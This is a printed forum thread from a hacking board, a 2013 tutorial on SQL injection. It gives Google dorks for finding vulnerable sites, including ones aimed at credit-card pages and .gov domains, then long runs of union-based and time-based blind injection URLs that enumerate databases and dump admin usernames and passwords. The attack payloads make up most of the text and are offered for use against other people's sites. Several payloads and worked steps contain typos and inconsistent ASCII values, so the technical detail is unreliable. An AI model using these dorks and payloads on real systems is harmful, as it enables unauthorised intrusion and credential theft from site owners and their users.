Sinisterly
SQL injection techniques - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Website & Server Hacking (https://sinister.li/Forum-Website-Server-Hacking)
+--- Thread: SQL injection techniques (/Thread-SQL-injection-techniques)



SQL injection techniques - Synchro - 01-24-2013

[Image: RIFMn.jpg]

SQL Injection tutorial
In this tutorial you will understand for those SQL injections:
*Google dorks for SQLi
*String based SQLi
*Time based SQLi
*Blind SQLi
*Error based SQLi
*Double query SQLi
*POST SQLi
*WAF bypassing

This will be very large tutorial so I will post diffrent injections on spoilers.
First I want to excuse for my terible grammar if somebody want to fix it to contact with me =)
I will recommend if you have life out of the computer to stop with SQL injections a lot of them take a lot of time.
I think that it's unless to say that if you inject other sites than your is illegal and I'm not responsible for your actions.

LET'S START !
Google Dorks
Spoiler:
You can use google dorks to find SQL injection vulnerabilities. Here is an example of google dork:
Code:
inurl:index.php?id= +.com
This one will search for "index.php?id" in the URL in .com domains
Here is list with SQLi dorks:
Code:
http://pastebin.com/wUyRb0k8
Thanks to The Protagonist(D1551D3N7) for sharing them.
You can add + (domainhere) Here are some examples:
Code:
inurl: index.php?id= +.com inurl: index.php?id= +.net inurl: index.php?id= +.org inurl: index.php?id= +.cc inurl: index.php?id= +.ws inurl: index.php?id= +.edu inurl: index.php?id= +.gov
Also you could search for keywords by that way:
Code:
inurl:index.php?id= intext"keyword"
just type intext"keyword" and change keyword with something for example credit card.
I think this is enough for basics of google dorks, since I don't want 1000000000000 defanced websites after publishing this.

String based SQLi
Spoiler:
This is one of the easiest SQL injections. I won't tolk shits since I know the most of you want to start exploting ASAP so let's continue.
The diffrent between string SQL injection and the basic SQL injection is that we don't write -- but we write --+,+--+ or +-- and you add' after the parametar. So I will write for basic injection and add examples for string injection
First you need to check if the website is vulnerable. You are doing this by writing ' at the end of URL here is example:
[/code]http://www.site.com/index.php?id=123'
Code:
And after you hit enter you should see error message similar to this one: [code]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''5''' at line 1
If you get similar error the site is vulnerable if you don't then the site isn't vulnerable to string based SQLi. But let's say that our site is vulnerable let's go to the next step.
You should find the number of columns we do that by using "order by" statement, I will highly recommend to add -- before each command except ' =D. Delete the ' and write order by and start guessing numbers of columns, its more easy by start with 100 to be sure that you will get error and then continue by 10, if you get error on 10 too, then try with 5 if you don't get error on 5, try with 7 if you don't get error on 7 try, with 8 if you get error on 8 then the number of columns is 7.
Code:
http://www.site.com/index.php?id=123 order by 100-- *Error http://www.site.com/index.php?id=123 order by 10-- *Error http://www.site.com/index.php?id=123 order by 1-- *no error http://www.site.com/index.php?id=123 order by 5-- *no error http://www.site.com/index.php?id=123 order by 7-- *no error http://www.site.com/index.php?id=123 order by 8-- *error For string injecition http://www.site.com/index.php?id=123' order by 100--+ *Error http://www.site.com/index.php?id=123' order by 10--+ *Error http://www.site.com/index.php?id=123' order by 1--+ *no error http://www.site.com/index.php?id=123'order by 5--+ *no error http://www.site.com/index.php?id=123' order by 7--+ *no error http://www.site.com/index.php?id=123' order by 8--+ *error
Now you should find the vulnerable column or the column from which you can take information we do that by union select or union all select statement, you should write - before the number here how your URL should look
Code:
http://www.site.com/index.php?id=-123
We know that number of columns is 7 and one of those 7 colums gives information to us. Let's see which one is it.
Code:
http://www.site.com/index.php?id=-123 union all select 1,2,3,4,5,6,7-- For string injection http://www.site.com/index.php?id=-123' union all select 1,2,3,4,5,6,7--+
Now you should see some numbers and one big number this is the vulnerable column. Now we should find the version of the database we do that with @@version or version() command change the vulnerable column number with one of those commands for example our vulnerable column is 5.
Code:
http://www.site.com/index.php?id=123 union all select 1,2,3,4,verion(),6,7-- OR http://www.site.com/index.php?id=123 union all select 1,2,3,4,@@version,6,7-- For string injection http://www.site.com/index.php?id=123' union all select 1,2,3,4,verion(),6,7--+ OR http://www.site.com/index.php?id=123' union all select 1,2,3,4,@@version,6,7--+
Now if the version is >= 5 then this is good if its 4.x.x.x just give up you should guess DB name table name column name you can try to use automate tool like havij . Ok so next step is to find the DB name we do this by group_concat.
Code:
http://www.site.com/index.php?id=123 union select 1,2,3,4,group_concat(),6,7-- For string injection http://www.site.com/index.php?id=123' union select 1,2,3,4,group_concat(),6,7--+
Also if you want to get all database then you should search for information.schem you can do that by group_concat(schema_name) command and add this command at the end of the URL "from information_schema.schemata"
Code:
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(schema_name),6,7 from information_schema.schemata-- For string injection http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(schema_name),6,7 from information_schema.schemata--+
Let's say that db name is DataBaseName. Now you should find table name we do this with group_concat(table_name) command and from information_schema.tables where table_schema=database() at the end of URL.
Code:
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(table_name),6,7 from information_schema.tables where table_schema=database() -- For string based http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(table_name),6,7 from information_schema.tables where table_schema=database() --+
The group_concat command have limit from 1024 characters if you think that those tables are all you should find them manually by using concat() and a limit
Code:
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(table_name),6,7 from information_schema.tables where table_schema=database() limit 0,1-- For string based http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(table_name),6,7 from information_schema.tables where table_schema=database() limit 0,1--+
Keep increasing that limit. Now you should have list with names for example admins, users, news,... let's check admin. To find columns in table admin we use group_concat(column_name) and from+information_schema.columns where table_name="TABLE NAME HERE".
Code:
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(column_name),6,7 from+information_schema.columns where table_name="admin"-- For string based http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(column_name),6,7 from+information_schema.columns where table_name="admin"--+
If you get error you should turn the table name into hex you can use this tool http://www.swingnote.com/tools/texttohex.php to do this!PLACE 0x BEFORE THE HEX VALUE!
Code:
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(column_name),6,7 from+information_schema.columns where table_name="0x61646d696e "-- For string based http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(column_name),6,7 from+information_schema.columns where table_name="0x61646d696e "--+
you can use limit as the same way as in finding table name.
Now you should see new text let's say that we have username and password to extract information from them we use group_concat(COLUMNS NAMES HERE) and from DATABASE HERE. TABLE NAME HERE
Code:
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(username,0x3a,password ),6,7 from DataBaseName.admin-- For string injection http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(username,0x3a,password ),6,7 from DataBaseName.admin--+
0x3a means colon it's better to use it but it's not so important. This is it you have exploit your web site!

Time based SQL injection
Spoiler:
Time based SQL injection is very easy to undestand for me, hope that will be the same with you.
Let's start.

First there are two types of time based(or delay) injection integer and string injection, actually the diffrent between both is one ' in the url. Here is how integer and string injections look:
Integer
Code:
www.site..com/index.asp?id=123; waitfor delay '00:00:20'--
String
Code:
www.site..com/index.asp?id=123'; waitfor delay '00:00:20'--
Actually those commands tell the database to wait 20 second before response if the database don't wait(return directly) its false if wait its true.
Now it's time to find the DB username we have to find all characters, we do this IF (len(user)=number of characters) command + waitfor delay '00:00:20'--
Code:
www.site..com/index.asp?id=123; IF (len(user)=1) waitfor delay '00:00:20'-- And for String injection www.site..com/index.asp?id=123'; IF (len(user)=1) waitfor delay '00:00:20'--
Ok now you ask the database if the user have one character, if yes the database will response after 20 second if not will return directly. Actually I haven't see user name with only one char.
Code:
www.site..com/index.asp?id=123; IF (len(user)=1) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (len(user)=2) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (len(user)=3) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (len(user)=4) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (len(user)=5) waitfor delay '00:00:20'-- * wait 20 seconds / true Or for String injection www.site..com/index.asp?id=123'; IF (len(user)=1) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123'; IF (len(user)=2) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123'; IF (len(user)=3) waitfor delay '00:00:20* return directly / false www.site..com/index.asp?id=123'; IF (len(user)=4) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123'; IF (len(user)=5) waitfor delay '00:00:20'-- * wait 20 seconds / true
So now the database return on 5 characters, but what exacly are those characters we will use ASCII to see. We will use this command IF (ascii(lower(substring((user),1,1)))>ASCII number) + waitfor delay '00:00:20'--.
Code:
www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),1,1)))>82) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),1,1)))>83) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),1,1)))>84) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),1,1)))>85) waitfor delay '00:00:20'-- * wait 20 second / true For string injection www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),1,1)))>82) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),1,1)))>83) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),1,1)))>84) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),1,1)))>85) waitfor delay '00:00:20'-- * wait 20 second /true
Here is nice ASCII table : http://upload.wikimedia.org/wikipedia/commons/1/1b/ASCII-Table-wide.svg. Now we know that the first character is U since the database wait 20 seconds on 55 which is U, now to find the second character we do this by the same command just change 1 to 2:
Code:
www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),2,1)))>80) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),2,1)))>81) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),2,1)))>82 waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),2,1)))>83) waitfor delay '00:00:20'-- * wait 20 second / true For string injection www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),2,1)))>80) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),2,1)))>81) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),2,1)))>82) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),2,1)))>83) waitfor delay '00:00:20'-- * wait 20 second /true
Now we see that second character is S because database wait for delay on 53 and first char is U second is S this mean that the the name may be user so lets try first with E then with R.
Code:
www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),3,1)))>69) waitfor delay '00:00:20'-- * wait 20 second / true www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),4,1)))>82) waitfor delay '00:00:20'-- * wait 20 second / true For string injection www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),3,1)))>69) waitfor delay '00:00:20'-- * wait 20 second /true www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),4,1)))>82) waitfor delay '00:00:20'-- * wait 20 second /true
and we have find that th user name is USER. Now it's time to get the database name, hope that the administrator don't like long names acually they don't ;(. The process is pretty same as this with user name we will use ; IF (len(db_name())=number of characters) + waitfor delay '00:00:20'-- to get the lenght of the database name.
Code:
www.site..com/index.asp?id=123; IF (len(db_name())=1) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (len(db_name())=2) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (len(db_name())=4) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (len(db_name())=5) waitfor delay '00:00:20'-- * wait 20 second /true For string injection www.site..com/index.asp?id=123'; IF (len(db_name())=1) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123'; IF (len(db_name())=2) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123'; IF (len(db_name())=4) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123'; IF (len(db_name())=5) waitfor delay '00:00:20'-- * wait 20 second /true
We see that the lengh of the database name is 8 so now we should guess the characters again we will use this command IF (ascii(lower(substring((db_name),1,1)))>ASCII) + waitfor delay '00:00:10'--
Code:
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),1,1)))>66) + waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),1,1)))>67) + waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),1,1)))>68) + waitfor delay '00:00:20'-- For string injection www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),1,1)))>66) + waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),1,1)))>67) + waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),1,1)))>68) + waitfor delay '00:00:20'-- * wait 20 second /true
We see that the first character is D, let's see for the second one
Code:
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),2,1)))>95) + waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),2,1)))>96) + waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),2,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /true For string injection www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),2,1)))>95) + waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),2,1)))>96) + waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),2,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /true
Now we see that the second character is a, let's see for the 3.
Code:
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>113) + waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>114) + waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>115) + waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>96) + waitfor delay '00:00:20'-- * wait 20 second /true For string injection www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>113) + waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>114) + waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>115) + waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>116) + waitfor delay '00:00:20'-- * wait 20 second /true [code] We see that this character is t, so what start with dat and its 8 characters, hmm, Database yeah ! Let's try it. [code] www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /true www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>98) + waitfor delay '00:00:20'-- ** wait 20 second /true www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /true www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>115) + waitfor delay '00:00:20'-- * wait 20 second /true www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>101) + waitfor delay '00:00:20'-- * wait 20 second /true For string injection www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /true www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>98) + waitfor delay '00:00:20'-- * wait 20 second /true www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /true www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>115) + waitfor delay '00:00:20'-- * wait 20 second /true www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>101) + waitfor delay '00:00:20'-- * wait 20 second /true
Hell yeah the name is Database. Now its time go get table name, we will use IF (LEN(SELECT TOP 1 NAME FROM SYSOBJECTS WHEREXTYPE='U')=number of characters) + waitfor delay '00:00:20'--
Code:
www.site..com/index.asp?id=123; IF (LEN(SELECT TOP 1 NAME FROM SYSOBJECTS WHEREXTYPE='U')=5) waitfor delay '00:00:20'-- For string injection www.site..com/index.asp?id=123'; IF (LEN(SELECT TOP 1 NAME FROM SYSOBJECTS WHEREXTYPE='U')=5) waitfor delay '00:00:20'--
Now we see that the lengh of the table is 5 let's start guessing. We do this by this command IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=ASCII) + waitfor delay '00:00:20'--
Code:
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=93)) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=94)) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=95)) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=96)) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=97)) waitfor delay '00:00:20'-- * wait 20 second /true For string injection www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=93)) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=94)) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=95)) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=96)) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=97)) waitfor delay '00:00:20'-- * wait 20 second /true
The first character is a, let's see the second one
Code:
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=96)) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=97)) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=98)) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=99)) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=100)) waitfor delay '00:00:20'-- * wait 20 second /true For string injection www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=96)) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=97)) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=98)) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=99)) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=100)) waitfor delay '00:00:20'-- * wait 20 second /true
Now we see that the second character is d, now again what start with ad and it's 5 characters I bet that it't admin let's see.
Code:
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=109)) waitfor delay '00:00:20'-- * wait 20 second /true www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=105)) waitfor delay '00:00:20'-- * wait 20 second /true www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=110)) waitfor delay '00:00:20'-- * wait 20 second /true For string injection www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=109)) waitfor delay '00:00:20'-- * wait 20 second /true www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=105)) waitfor delay '00:00:20'-- * wait 20 second /true www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=110)) waitfor delay '00:00:20'-- * wait 20 second /true
YES it's admin, now it's time to extract the column name the command we will use is IF (len(select top 1 column_name from DATABASE NAME.information_schema.columns where table_name='TABLE NAME')=number of characters) + waitfor delay '00:00:20'--
Code:
www.site..com/index.asp?id=123; IF (len(select top 1 column_name from Database.information_schema.columns where table_name='admin')=5) waitfor delay '00:00:20'-- * wait 20 second /true For string injection www.site..com/index.asp?id=123'; IF (len(select top 1 column_name from Database.information_schema.columns where table_name='admin')=5) waitfor delay '00:00:20'-- * wait 20 second /true
So we see that our column name lengh is 5, guessing again ;(. We do this by this command IF (ASCII(lower(substring((SELECT TOP 1 column_name from DATABASE NAME.information_schema.columns where table_name='TABLE NAME HERE'),1,1)))=ASCII + waitfor delay '00:00:20'--
Code:
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=82) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=83) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=84) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=85) waitfor delay '00:00:20'-- * wait 20 second /true For string injection www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=82) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=83) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=84) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=85) waitfor delay '00:00:20'-- * wait 20 second /true
Ok so now we see that the first character is U what start with U Username let's try
Code:
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=115) waitfor delay '00:00:20'-- * return directly / false For string injection www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=115) waitfor delay '00:00:20'-- * return directly / false
Nope the secan character isn't s. So we have to continue with guessing
Code:
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=107) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=108) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=109) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=110) waitfor delay '00:00:20'-- * wait 20 second /true For string injection www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=107) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=108) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=109) waitfor delay '00:00:20'-- * return directly / false www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=110) waitfor delay '00:00:20'-- * wait 20 second /true
The second one is n let's try with uname ?
Code:
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),3,1)))=97) waitfor delay '00:00:20'-- * wait 20 second /true www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),4,1)))=109) waitfor delay '00:00:20'-- * wait 20 second /true www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),5,1)))=101) waitfor delay '00:00:20'-- * wait 20 second /true For string injection www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),3,1)))=97) waitfor delay '00:00:20'-- * wait 20 second /true www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),4,1)))=109) waitfor delay '00:00:20'-- * wait 20 second /true www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),5,1)))=101) waitfor delay '00:00:20'-- * wait 20 second /true
Yes the first column name is uname now let's to check for second one we will use this command IF (LEN(SELECT TOP 1 column_name from DATABASE NAME.information_schema.columns where table_name='TABLE NAME' and column_name>'Previous column')=lengh) + waitfor delay '00:00:20'--
Code:
www.site..com/index.asp?id=123; IF (LEN(SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' and column_name>'Uname')=4) waitfor delay '00:00:20'-- * wait 20 second /true For string injection www.site..com/index.asp?id=123'; IF (LEN(SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' and column_name>'Uname')=4) waitfor delay '00:00:20'-- * wait 20 second /true
Now our next column lengh is 4 characters let's guess it, we do this by the same command as previous we just add column_name>'Previous column'.
Code:
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=112) waitfor delay '00:00:20'-- * wait 20 second /true For string injection www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=112) waitfor delay '00:00:20'-- * wait 20 second /true
Now we see that the first character is p, and let's see what we have its second column start with p and its 4 char long looks like pass, let's try it.
Code:
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=97) waitfor delay '00:00:20'-- * wait 20 second /true www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=115) waitfor delay '00:00:20'-- * wait 20 second /true www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=115) waitfor delay '00:00:20'-- * wait 20 second /true For string base www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=97) waitfor delay '00:00:20'-- * wait 20 second /true www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=115) waitfor delay '00:00:20'-- * wait 20 second /true www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=115) waitfor delay '00:00:20'-- * wait 20 second /true
